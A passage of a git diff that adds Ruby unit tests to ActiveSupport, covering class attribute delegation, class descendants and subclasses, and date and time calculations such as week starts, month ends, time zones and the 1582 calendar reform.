+ assert_respond_to single_class, :no_instance_reader
+ assert_respond_to single_class, :no_instance_reader=
+ assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+ end
+
+ def test_working_with_simple_attributes
+ single_class.superclass_delegating_accessor :both
+
+ single_class.both = "HMMM"
+
+ assert_equal "HMMM", single_class.both
+ assert_equal true, single_class.both?
+
+ assert_equal "HMMM", single_class.new.both
+ assert_equal true, single_class.new.both?
+
+ single_class.both = false
+ assert_equal false, single_class.both?
+ end
+
+ def test_child_class_delegates_to_parent_but_can_be_overridden
+ parent = Class.new
+ parent.superclass_delegating_accessor :both
+ child = Class.new(parent)
+ parent.both = "1"
+ assert_equal "1", child.both
+
+ child.both = "2"
+ assert_equal "1", parent.both
+ assert_equal "2", child.both
+
+ parent.both = "3"
+ assert_equal "3", parent.both
+ assert_equal "2", child.both
+ end
+
+ def test_delegation_stops_at_the_right_level
+ assert_nil Percy.superpower
+ assert_nil PercysMom.superpower
+
+ PercysMom.superpower = :heatvision
+ assert_equal :heatvision, Percy.superpower
+ end
+
+ def test_delegation_stops_for_nil
+ Mokopuna.some_attribute = nil
+ Child.some_attribute="1"
+
+ assert_equal "1", Child.some_attribute
+ assert_nil Mokopuna.some_attribute
+ ensure
+ Child.some_attribute=nil
+ end
+
+end
diff --git a/activesupport/test/core_ext/class_test.rb b/activesupport/test/core_ext/class_test.rb
new file mode 100644
index 0000000..9c6c579
--- /dev/null
+++ b/activesupport/test/core_ext/class_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+require 'active_support/core_ext/class'
+require 'set'
+
+class ClassTest < ActiveSupport::TestCase
+ class Parent; end
+ class Foo < Parent; end
+ class Bar < Foo; end
+ class Baz < Bar; end
+
+ class A < Parent; end
+ class B < A; end
+ class C < B; end
+
+ def test_descendants
+ assert_equal [Foo, Bar, Baz, A, B, C].to_set, Parent.descendants.to_set
+ assert_equal [Bar, Baz].to_set, Foo.descendants.to_set
+ assert_equal [Baz], Bar.descendants
+ assert_equal [], Baz.descendants
+ end
+
+ def test_subclasses
+ assert_equal [Foo, A].to_set, Parent.subclasses.to_set
+ assert_equal [Bar], Foo.subclasses
+ assert_equal [Baz], Bar.subclasses
+ assert_equal [], Baz.subclasses
+ end
+end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
new file mode 100644
index 0000000..b4ef5a0
--- /dev/null
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -0,0 +1,241 @@
+require 'abstract_unit'
+
+module DateAndTimeBehavior
+ def test_yesterday
+ assert_equal date_time_init(2005,2,21,10,10,10), date_time_init(2005,2,22,10,10,10).yesterday
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,3,2,10,10,10).yesterday.yesterday
+ end
+
+ def test_tomorrow
+ assert_equal date_time_init(2005,2,23,10,10,10), date_time_init(2005,2,22,10,10,10).tomorrow
+ assert_equal date_time_init(2005,3,2,10,10,10), date_time_init(2005,2,28,10,10,10).tomorrow.tomorrow
+ end
+
+ def test_days_ago
+ assert_equal date_time_init(2005,6,4,10,10,10), date_time_init(2005,6,5,10,10,10).days_ago(1)
+ assert_equal date_time_init(2005,5,31,10,10,10), date_time_init(2005,6,5,10,10,10).days_ago(5)
+ end
+
+ def test_days_since
+ assert_equal date_time_init(2005,6,6,10,10,10), date_time_init(2005,6,5,10,10,10).days_since(1)
+ assert_equal date_time_init(2005,1,1,10,10,10), date_time_init(2004,12,31,10,10,10).days_since(1)
+ end
+
+ def test_weeks_ago
+ assert_equal date_time_init(2005,5,29,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(1)
+ assert_equal date_time_init(2005,5,1,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(5)
+ assert_equal date_time_init(2005,4,24,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(6)
+ assert_equal date_time_init(2005,2,27,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(14)
+ assert_equal date_time_init(2004,12,25,10,10,10), date_time_init(2005,1,1,10,10,10).weeks_ago(1)
+ end
+
+ def test_weeks_since
+ assert_equal date_time_init(2005,7,14,10,10,10), date_time_init(2005,7,7,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,7,14,10,10,10), date_time_init(2005,7,7,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,7,4,10,10,10), date_time_init(2005,6,27,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,1,4,10,10,10), date_time_init(2004,12,28,10,10,10).weeks_since(1)
+ end
+
+ def test_months_ago
+ assert_equal date_time_init(2005,5,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(1)
+ assert_equal date_time_init(2004,11,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(7)
+ assert_equal date_time_init(2004,12,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(6)
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(12)
+ assert_equal date_time_init(2003,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(24)
+ end
+
+ def test_months_since
+ assert_equal date_time_init(2005,7,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(1)
+ assert_equal date_time_init(2006,1,5,10,10,10), date_time_init(2005,12,5,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,12,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(6)
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,12,5,10,10,10).months_since(6)
+ assert_equal date_time_init(2006,1,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(7)
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(12)
+ assert_equal date_time_init(2007,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(24)
+ assert_equal date_time_init(2005,4,30,10,10,10), date_time_init(2005,3,31,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,29,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,30,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,31,10,10,10).months_since(1)
+ end
+
+ def test_years_ago
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_ago(1)
+ assert_equal date_time_init(1998,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_ago(7)
+ assert_equal date_time_init(2003,2,28,10,10,10), date_time_init(2004,2,29,10,10,10).years_ago(1) # 1 year ago from leap day
+ end
+
+ def test_years_since
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(1)
+ assert_equal date_time_init(2012,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(7)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2004,2,29,10,10,10).years_since(1) # 1 year since leap day
+ assert_equal date_time_init(2182,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(177)
+ end
+
+ def test_beginning_of_month
+ assert_equal date_time_init(2005,2,1,0,0,0), date_time_init(2005,2,22,10,10,10).beginning_of_month
+ end
+
+ def test_beginning_of_quarter
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,2,15,10,10,10).beginning_of_quarter
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,1,1,0,0,0).beginning_of_quarter
+ assert_equal date_time_init(2005,10,1,0,0,0), date_time_init(2005,12,31,10,10,10).beginning_of_quarter
+ assert_equal date_time_init(2005,4,1,0,0,0), date_time_init(2005,6,30,23,59,59).beginning_of_quarter
+ end
+
+ def test_end_of_quarter
+ assert_equal date_time_init(2007,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,2,15,10,10,10).end_of_quarter
+ assert_equal date_time_init(2007,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,3,31,0,0,0).end_of_quarter
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,21,10,10,10).end_of_quarter
+ assert_equal date_time_init(2007,6,30,23,59,59,Rational(999999999, 1000)), date_time_init(2007,4,1,0,0,0).end_of_quarter
+ assert_equal date_time_init(2008,6,30,23,59,59,Rational(999999999, 1000)), date_time_init(2008,5,31,0,0,0).end_of_quarter
+ end
+
+ def test_beginning_of_year
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,2,22,10,10,10).beginning_of_year
+ end
+
+ def test_next_week
+ # M | T | W | T | F | S | S # M | T | W | T | F | S | S #
+ # | 22/2 | | | | | # 28/2 | | | | | | # monday in next week `next_week`
+ # | 22/2 | | | | | # | | | | 4/3 | | # friday in next week `next_week(:friday)`
+ # 23/10 | | | | | | # 30/10 | | | | | | # monday in next week `next_week`
+ # 23/10 | | | | | | # | | 1/11 | | | | # wednesday in next week `next_week(:wednesday)`
+ assert_equal date_time_init(2005,2,28,0,0,0), date_time_init(2005,2,22,15,15,10).next_week
+ assert_equal date_time_init(2005,3,4,0,0,0), date_time_init(2005,2,22,15,15,10).next_week(:friday)
+ assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,10,23,0,0,0).next_week
+ assert_equal date_time_init(2006,11,1,0,0,0), date_time_init(2006,10,23,0,0,0).next_week(:wednesday)
+ end
+
+ def test_next_week_with_default_beginning_of_week_set
+ with_bw_default(:tuesday) do
+ assert_equal Time.local(2012, 3, 28), Time.local(2012, 3, 21).next_week(:wednesday)
+ assert_equal Time.local(2012, 3, 31), Time.local(2012, 3, 21).next_week(:saturday)
+ assert_equal Time.local(2012, 3, 27), Time.local(2012, 3, 21).next_week(:tuesday)
+ assert_equal Time.local(2012, 4, 02), Time.local(2012, 3, 21).next_week(:monday)
+ end
+ end
+
+ def test_next_month_on_31st
+ assert_equal date_time_init(2005,9,30,15,15,10), date_time_init(2005,8,31,15,15,10).next_month
+ end
+
+ def test_next_quarter_on_31st
+ assert_equal date_time_init(2005,11,30,15,15,10), date_time_init(2005,8,31,15,15,10).next_quarter
+ end
+
+ def test_next_year
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).next_year
+ end
+
+ def test_prev_week
+ assert_equal date_time_init(2005,2,21,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week
+ assert_equal date_time_init(2005,2,22,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week(:tuesday)
+ assert_equal date_time_init(2005,2,25,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week(:friday)
+ assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,11,6,0,0,0).prev_week
+ assert_equal date_time_init(2006,11,15,0,0,0), date_time_init(2006,11,23,0,0,0).prev_week(:wednesday)
+ end
+
+ def test_prev_week_with_default_beginning_of_week
+ with_bw_default(:tuesday) do
+ assert_equal Time.local(2012, 3, 14), Time.local(2012, 3, 21).prev_week(:wednesday)
+ assert_equal Time.local(2012, 3, 17), Time.local(2012, 3, 21).prev_week(:saturday)
+ assert_equal Time.local(2012, 3, 13), Time.local(2012, 3, 21).prev_week(:tuesday)
+ assert_equal Time.local(2012, 3, 19), Time.local(2012, 3, 21).prev_week(:monday)
+ end
+ end
+
+ def test_prev_month_on_31st
+ assert_equal date_time_init(2004,2,29,10,10,10), date_time_init(2004,3,31,10,10,10).prev_month
+ end
+
+ def test_prev_quarter_on_31st
+ assert_equal date_time_init(2004,2,29,10,10,10), date_time_init(2004,5,31,10,10,10).prev_quarter
+ end
+
+ def test_prev_year
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).prev_year
+ end
+
+ def test_days_to_week_start
+ assert_equal 0, date_time_init(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 1, date_time_init(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 2, date_time_init(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, date_time_init(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 4, date_time_init(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 5, date_time_init(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 6, date_time_init(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+ assert_equal 3, date_time_init(2011,11,03,0,0,0).days_to_week_start(:monday)
+ assert_equal 3, date_time_init(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, date_time_init(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+ assert_equal 3, date_time_init(2011,11,06,0,0,0).days_to_week_start(:thursday)
+ assert_equal 3, date_time_init(2011,11,07,0,0,0).days_to_week_start(:friday)
+ assert_equal 3, date_time_init(2011,11,8,0,0,0).days_to_week_start(:saturday)
+ assert_equal 3, date_time_init(2011,11,9,0,0,0).days_to_week_start(:sunday)
+ end
+
+ def test_days_to_week_start_with_default_set
+ with_bw_default(:friday) do
+ assert_equal 6, Time.local(2012,03,8,0,0,0).days_to_week_start
+ assert_equal 5, Time.local(2012,03,7,0,0,0).days_to_week_start
+ assert_equal 4, Time.local(2012,03,6,0,0,0).days_to_week_start
+ assert_equal 3, Time.local(2012,03,5,0,0,0).days_to_week_start
+ assert_equal 2, Time.local(2012,03,4,0,0,0).days_to_week_start
+ assert_equal 1, Time.local(2012,03,3,0,0,0).days_to_week_start
+ assert_equal 0, Time.local(2012,03,2,0,0,0).days_to_week_start
+ end
+ end
+
+ def test_beginning_of_week
+ assert_equal date_time_init(2005,1,31,0,0,0), date_time_init(2005,2,4,10,10,10).beginning_of_week
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,28,0,0,0).beginning_of_week #monday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,29,0,0,0).beginning_of_week #tuesday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,30,0,0,0).beginning_of_week #wednesday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,01,0,0,0).beginning_of_week #thursday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,02,0,0,0).beginning_of_week #friday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,03,0,0,0).beginning_of_week #saturday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,04,0,0,0).beginning_of_week #sunday
+ end
+
+ def test_end_of_week
+ assert_equal date_time_init(2008,1,6,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,31,10,10,10).end_of_week
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,27,0,0,0).end_of_week #monday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,28,0,0,0).end_of_week #tuesday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,29,0,0,0).end_of_week #wednesday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,30,0,0,0).end_of_week #thursday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,31,0,0,0).end_of_week #friday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,9,01,0,0,0).end_of_week #saturday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,9,02,0,0,0).end_of_week #sunday
+ end
+
+ def test_end_of_month
+ assert_equal date_time_init(2005,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2005,3,20,10,10,10).end_of_month
+ assert_equal date_time_init(2005,2,28,23,59,59,Rational(999999999, 1000)), date_time_init(2005,2,20,10,10,10).end_of_month
+ assert_equal date_time_init(2005,4,30,23,59,59,Rational(999999999, 1000)), date_time_init(2005,4,20,10,10,10).end_of_month
+ end
+
+ def test_end_of_year
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,2,22,10,10,10).end_of_year
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,31,10,10,10).end_of_year
+ end
+
+ def test_monday_with_default_beginning_of_week_set
+ with_bw_default(:saturday) do
+ assert_equal date_time_init(2012,9,17,0,0,0), date_time_init(2012,9,18,0,0,0).monday
+ end
+ end
+
+ def test_sunday_with_default_beginning_of_week_set
+ with_bw_default(:wednesday) do
+ assert_equal date_time_init(2012,9,23,23,59,59, Rational(999999999, 1000)), date_time_init(2012,9,19,0,0,0).sunday
+ end
+ end
+
+ def with_bw_default(bw = :monday)
+ old_bw = Date.beginning_of_week
+ Date.beginning_of_week = bw
+ yield
+ ensure
+ Date.beginning_of_week = old_bw
+ end
+end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
new file mode 100644
index 0000000..f3fa96e
--- /dev/null
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -0,0 +1,373 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
+
+class DateExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,*args)
+ Date.new(year,month,day)
+ end
+
+ include DateAndTimeBehavior
+
+ def test_yesterday_in_calendar_reform
+ assert_equal Date.new(1582,10,4), Date.new(1582,10,15).yesterday
+ end
+
+ def test_tomorrow_in_calendar_reform
+ assert_equal Date.new(1582,10,15), Date.new(1582,10,4).tomorrow
+ end
+
+ def test_to_s
+ date = Date.new(2005, 2, 21)
+ assert_equal "2005-02-21", date.to_s
+ assert_equal "21 Feb", date.to_s(:short)
+ assert_equal "February 21, 2005", date.to_s(:long)
+ assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
+ assert_equal "2005-02-21", date.to_s(:db)
+ assert_equal "21 Feb 2005", date.to_s(:rfc822)
+ end
+
+ def test_readable_inspect
+ assert_equal "Mon, 21 Feb 2005", Date.new(2005, 2, 21).readable_inspect
+ assert_equal Date.new(2005, 2, 21).readable_inspect, Date.new(2005, 2, 21).inspect
+ end
+
+ def test_to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, Date.new(2005, 2, 21).to_time.class
+ assert_equal Time.local(2005, 2, 21), Date.new(2005, 2, 21).to_time
+ assert_equal Time.local(2005, 2, 21).utc_offset, Date.new(2005, 2, 21).to_time.utc_offset
+ end
+
+ silence_warnings do
+ 0.upto(138) do |year|
+ [:utc, :local].each do |format|
+ assert_equal year, Date.new(year).to_time(format).year
+ end
+ end
+ end
+ end
+
+ def test_to_datetime
+ assert_equal DateTime.civil(2005, 2, 21), Date.new(2005, 2, 21).to_datetime
+ assert_equal 0, Date.new(2005, 2, 21).to_datetime.offset # use UTC offset
+ assert_equal ::Date::ITALY, Date.new(2005, 2, 21).to_datetime.start # use Ruby's default start value
+ end
+
+ def test_to_date
+ assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 21).to_date
+ end
+
+ def test_change
+ assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 11).change(:day => 21)
+ assert_equal Date.new(2007, 5, 11), Date.new(2005, 2, 11).change(:year => 2007, :month => 5)
+ assert_equal Date.new(2006,2,22), Date.new(2005,2,22).change(:year => 2006)
+ assert_equal Date.new(2005,6,22), Date.new(2005,2,22).change(:month => 6)
+ end
+
+ def test_sunday
+ assert_equal Date.new(2008,3,2), Date.new(2008,3,02).sunday
+ assert_equal Date.new(2008,3,2), Date.new(2008,2,29).sunday
+ end
+
+ def test_beginning_of_week_in_calendar_reform
+ assert_equal Date.new(1582,10,1), Date.new(1582,10,15).beginning_of_week #friday
+ end
+
+ def test_end_of_week_in_calendar_reform
+ assert_equal Date.new(1582,10,17), Date.new(1582,10,4).end_of_week #thursday
+ end
+
+ def test_end_of_year
+ assert_equal Date.new(2008,12,31).to_s, Date.new(2008,2,22).end_of_year.to_s
+ end
+
+ def test_end_of_month
+ assert_equal Date.new(2005,3,31), Date.new(2005,3,20).end_of_month
+ assert_equal Date.new(2005,2,28), Date.new(2005,2,20).end_of_month
+ assert_equal Date.new(2005,4,30), Date.new(2005,4,20).end_of_month
+ end
+
+ def test_prev_year_in_leap_years
+ assert_equal Date.new(1999,2,28), Date.new(2000,2,29).prev_year
+ end
+
+ def test_prev_year_in_calendar_reform
+ assert_equal Date.new(1582,10,4), Date.new(1583,10,14).prev_year
+ end
+
+ def test_last_year
+ assert_equal Date.new(2004,6,5), Date.new(2005,6,5).last_year
+ end
+
+ def test_last_year_in_leap_years
+ assert_equal Date.new(1999,2,28), Date.new(2000,2,29).last_year
+ end
+
+ def test_last_year_in_calendar_reform
+ assert_equal Date.new(1582,10,4), Date.new(1583,10,14).last_year
+ end
+
+ def test_next_year_in_leap_years
+ assert_equal Date.new(2001,2,28), Date.new(2000,2,29).next_year
+ end
+
+ def test_next_year_in_calendar_reform
+ assert_equal Date.new(1582,10,4), Date.new(1581,10,10).next_year
+ end
+
+ def test_advance
+ assert_equal Date.new(2006,2,28), Date.new(2005,2,28).advance(:years => 1)
+ assert_equal Date.new(2005,6,28), Date.new(2005,2,28).advance(:months => 4)
+ assert_equal Date.new(2005,3,21), Date.new(2005,2,28).advance(:weeks => 3)
+ assert_equal Date.new(2005,3,5), Date.new(2005,2,28).advance(:days => 5)
+ assert_equal Date.new(2012,9,28), Date.new(2005,2,28).advance(:years => 7, :months => 7)
+ assert_equal Date.new(2013,10,3), Date.new(2005,2,28).advance(:years => 7, :months => 19, :days => 5)
+ assert_equal Date.new(2013,10,17), Date.new(2005,2,28).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
+ assert_equal Date.new(2005,2,28), Date.new(2004,2,29).advance(:years => 1) #leap day plus one year
+ end
+
+ def test_advance_does_first_years_and_then_days
+ assert_equal Date.new(2012, 2, 29), Date.new(2011, 2, 28).advance(:years => 1, :days => 1)
+ # If day was done first we would jump to 2012-03-01 instead.
+ end
+
+ def test_advance_does_first_months_and_then_days
+ assert_equal Date.new(2010, 3, 29), Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
+ # If day was done first we would jump to 2010-04-01 instead.
+ end
+
+ def test_advance_in_calendar_reform
+ assert_equal Date.new(1582,10,15), Date.new(1582,10,4).advance(:days => 1)
+ assert_equal Date.new(1582,10,4), Date.new(1582,10,15).advance(:days => -1)
+ 5.upto(14) do |day|
+ assert_equal Date.new(1582,10,4), Date.new(1582,9,day).advance(:months => 1)
+ assert_equal Date.new(1582,10,4), Date.new(1582,11,day).advance(:months => -1)
+ assert_equal Date.new(1582,10,4), Date.new(1581,10,day).advance(:years => 1)
+ assert_equal Date.new(1582,10,4), Date.new(1583,10,day).advance(:years => -1)
+ end
+ end
+
+ def test_last_week
+ assert_equal Date.new(2005,5,9), Date.new(2005,5,17).last_week
+ assert_equal Date.new(2006,12,25), Date.new(2007,1,7).last_week
+ assert_equal Date.new(2010,2,12), Date.new(2010,2,19).last_week(:friday)
+ assert_equal Date.new(2010,2,13), Date.new(2010,2,19).last_week(:saturday)
+ assert_equal Date.new(2010,2,27), Date.new(2010,3,4).last_week(:saturday)
+ end
+
+ def test_next_week_in_calendar_reform
+ assert_equal Date.new(1582,10,15), Date.new(1582,9,30).next_week(:friday)
+ assert_equal Date.new(1582,10,18), Date.new(1582,10,4).next_week
+ end
+
+ def test_last_month_on_31st
+ assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).last_month
+ end
+
+ def test_last_quarter_on_31st
+ assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).last_quarter
+ end
+
+ def test_yesterday_constructor
+ assert_equal Date.current - 1, Date.yesterday
+ end
+
+ def test_yesterday_constructor_when_zone_is_not_set
+ with_env_tz 'UTC' do
+ with_tz_default do
+ assert_equal(Date.today - 1, Date.yesterday)
+ end
+ end
+ end
+
+ def test_yesterday_constructor_when_zone_is_set
+ with_env_tz 'UTC' do
+ with_tz_default ActiveSupport::TimeZone['Eastern Time (US & Canada)'] do # UTC -5
+ Time.stubs(:now).returns Time.local(2000, 1, 1)
+ assert_equal Date.new(1999, 12, 30), Date.yesterday
+ end
+ end
+ end
+
+ def test_tomorrow_constructor
+ assert_equal Date.current + 1, Date.tomorrow
+ end
+
+ def test_tomorrow_constructor_when_zone_is_not_set
+ with_env_tz 'UTC' do
+ with_tz_default do
+ assert_equal(Date.today + 1, Date.tomorrow)
+ end
+ end
+ end
+
+ def test_tomorrow_constructor_when_zone_is_set
+ with_env_tz 'UTC' do
+ with_tz_default ActiveSupport::TimeZone['Europe/Paris'] do # UTC +1
+ Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
+ assert_equal Date.new(2000, 1, 2), Date.tomorrow
+ end
+ end
+ end
+
+ def test_since
+ assert_equal Time.local(2005,2,21,0,0,45), Date.new(2005,2,21).since(45)
+ end
+
+ def test_since_when_zone_is_set
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'UTC' do
+ with_tz_default zone do
+ assert_equal zone.local(2005,2,21,0,0,45), Date.new(2005,2,21).since(45)
+ assert_equal zone, Date.new(2005,2,21).since(45).time_zone
+ end
+ end
+ end
+
+ def test_ago
+ assert_equal Time.local(2005,2,20,23,59,15), Date.new(2005,2,21).ago(45)
+ end
+
+ def test_ago_when_zone_is_set
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'UTC' do
+ with_tz_default zone do
+ assert_equal zone.local(2005,2,20,23,59,15), Date.new(2005,2,21).ago(45)
+ assert_equal zone, Date.new(2005,2,21).ago(45).time_zone
+ end
+ end
+ end
+
+ def test_beginning_of_day
+ assert_equal Time.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
+ end
+
+ def test_beginning_of_day_when_zone_is_set
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'UTC' do
+ with_tz_default zone do
+ assert_equal zone.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
+ assert_equal zone, Date.new(2005,2,21).beginning_of_day.time_zone
+ end
+ end
+ end
+
+ def test_end_of_day
+ assert_equal Time.local(2005,2,21,23,59,59,Rational(999999999, 1000)), Date.new(2005,2,21).end_of_day
+ end
+
+ def test_end_of_day_when_zone_is_set
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'UTC' do
+ with_tz_default zone do
+ assert_equal zone.local(2005,2,21,23,59,59,Rational(999999999, 1000)), Date.new(2005,2,21).end_of_day
+ assert_equal zone, Date.new(2005,2,21).end_of_day.time_zone
+ end
+ end
+ end
+
+ def test_xmlschema
+ with_env_tz 'US/Eastern' do
+ assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
+ assert_match(/^1980-06-28T00:00:00-04:?00$/, Date.new(1980, 6, 28).xmlschema)
+ # these tests are only of interest on platforms where older dates #to_time fail over to DateTime
+ if ::DateTime === Date.new(1880, 6, 28).to_time
+ assert_match(/^1880-02-28T00:00:00-05:?00$/, Date.new(1880, 2, 28).xmlschema)
+ assert_match(/^1880-06-28T00:00:00-05:?00$/, Date.new(1880, 6, 28).xmlschema) # DateTimes aren't aware of DST rules
+ end
+ end
+ end
+
+ def test_xmlschema_when_zone_is_set
+ with_env_tz 'UTC' do
+ with_tz_default ActiveSupport::TimeZone['Eastern Time (US & Canada)'] do # UTC -5
+ assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
+ assert_match(/^1980-06-28T00:00:00-04:?00$/, Date.new(1980, 6, 28).xmlschema)
+ end
+ end
+ end
+
+ def test_past
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal true, Date.new(1999, 12, 31).past?
+ assert_equal false, Date.new(2000,1,1).past?
+ assert_equal false, Date.new(2000,1,2).past?
+ end
+
+ def test_future
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, Date.new(1999, 12, 31).future?
+ assert_equal false, Date.new(2000,1,1).future?
+ assert_equal true, Date.new(2000,1,2).future?
+ end
+
+ def test_current_returns_date_today_when_zone_not_set
+ with_env_tz 'US/Central' do
+ Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
+ assert_equal Date.today, Date.current
+ end
+ end
+
+ def test_current_returns_time_zone_today_when_zone_is_set
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Central' do
+ assert_equal ::Time.zone.today, Date.current
+ end
+ ensure
+ Time.zone = nil
+ end
+
+ def test_date_advance_should_not_change_passed_options_hash
+ options = { :years => 3, :months => 11, :days => 2 }
+ Date.new(2005,2,28).advance(options)
+ assert_equal({ :years => 3, :months => 11, :days => 2 }, options)
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+
+ def with_tz_default(tz = nil)
+ old_tz = Time.zone
+ Time.zone = tz
+ yield
+ ensure
+ Time.zone = old_tz
+ end
+end
+
+class DateExtBehaviorTest < ActiveSupport::TestCase
+ def test_date_acts_like_date
+ assert Date.new.acts_like_date?
+ end
+
+ def test_freeze_doesnt_clobber_memoized_instance_methods
+ assert_nothing_raised do
+ Date.today.freeze.inspect
+ end
+ end
+
+ def test_can_freeze_twice
+ assert_nothing_raised do
+ Date.today.freeze.freeze
+ end
+ end
+
+ def test_compare_with_infinity
+ assert_equal(-1, Date.today <=> Float::INFINITY)
